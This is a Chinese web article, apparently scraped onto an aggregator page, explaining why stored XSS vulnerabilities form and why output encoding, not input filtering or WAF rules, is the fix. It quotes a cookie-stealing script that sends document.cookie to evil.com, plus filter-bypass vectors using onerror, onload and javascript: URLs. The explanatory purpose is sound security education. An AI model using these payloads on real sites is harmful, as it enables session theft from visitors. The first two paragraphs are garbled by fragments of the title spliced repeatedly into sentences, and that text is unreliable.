您的当前位置:首页 > 娱乐 > 存储型XSS漏洞形成的原因是什么 正文

存储型XSS漏洞形成的原因是什么

时间:2026-10-17 04:35:59 来源:网络整理 编辑:娱乐

核心提示

一个论坛的帖子详情页,用户提交的评论内容被原样存进了MySQL,又在每次页面加载时被原样吐进HTML。某天有人发了一条评论,内容里藏了<script>fetch('//evil.com/s

一个论坛的存储帖子详情页,用户提交的型X形成评论内容被原样存进了MySQL,又在每次页面加载时被原样吐进HTML。漏洞某天有人发了一条评论,存储内容里藏了<script>fetch('//evil.com/steal?型X形成c='+document.cookie)</script>。之后每一个打开这个帖子的漏洞用户,浏览器都会静默地把自己的存储Cookie发到攻击者服务器上。这就是型X形成存储型XSS——恶意代码没有被反射回来,而是漏洞被数据库"记住"了,然后反复执行。存储

关键在于"存"这个动作。型X形成反射型XSS需要诱导受害者点击一个精心构造的漏洞URL,一次性触发。存储存储型不同,型X形成攻击载荷持久化在服务端,漏洞任何访问该页面的用户都会中招,不需要额外诱导。攻击面从"一个人一次"变成"所有人每次"。

为什么会形成这种漏洞?根子上是两件事没做好:输入没被当作不可信数据对待,输出没做上下文相关的编码。

先看输入端。很多开发者的心智模型是"用户输入的是内容",于是直接把$_POST['comment']塞进INSERT语句。参数化查询能防SQL注入,但对XSS毫无作用——因为XSS发生在浏览器端,数据库只是中转站。有些团队会在输入时做一次strip_tags()或者过滤<script>,觉得这样就安全了。问题是黑名单永远堵不完:<img src=x onerror=alert(1)>、<svg onload=...>、javascript:伪协议、甚至<script>的各种大小写和编码变体。过滤输入这条路,方向本身就偏了。

真正的问题出在输出环节。数据从数据库取出来之后,被拼接进HTML模板。<div class="comment">${ content}</div>——浏览器看到这行HTML时,无法区分哪些字符是开发者写的结构,哪些是用户塞进来的内容。用户输入的<script>和开发者手写的<script>,在浏览器眼里一模一样。

我见过一个典型场景:某CMS的留言板功能,后端用PHP的htmlspecialchars()处理了昵称字段,但漏掉了留言正文。原因很荒诞——昵称要显示在<title>标签里,开发者觉得那里"更危险",正文放在<div>里就放松了。实际上<div>里照样能执行脚本,onerror、onload这类事件属性根本不需要<script>标签。

还有一种情况更隐蔽:富文本编辑器。为了允许用户加粗、插入链接,后端不得不放行一部分HTML标签。这时候如果用的过滤库有版本漏洞,或者白名单配置过宽(比如允许了<a href="javascript:...">),存储型XSS就找到了入口。攻击者不需要直接写<script>,利用合法标签的属性就能执行代码。

浏览器同源策略在这里帮不上忙。恶意脚本一旦在目标域下执行,它就是这个域的"合法公民"——能读Cookie、能发请求、能操作DOM。服务端的Session验证、CSRF Token,在脚本面前全部透明。

说到底,存储型XSS不是某一个函数没写好,而是整个数据流的设计出了问题。数据从进入系统到离开系统,中间经过了存储、读取、拼接、渲染多个环节,只要有一个环节默认"这段内容是可信任的HTML",漏洞就成立。修复方式也只有一个方向:在输出到HTML的最后一刻,根据所在上下文(HTML正文、属性、JS、URL)做对应的编码。输入过滤可以做,但那是纵深防御的附加层,不是主力。

有个细节值得琢磨:很多团队修XSS时喜欢在全局加一个WAF规则,拦截请求里的<script>。结果攻击者用<img src=x onerror=...>就绕过去了。WAF能挡脚本小子,挡不住真正理解浏览器解析机制的人。漏洞的根因在代码里,不在网络层。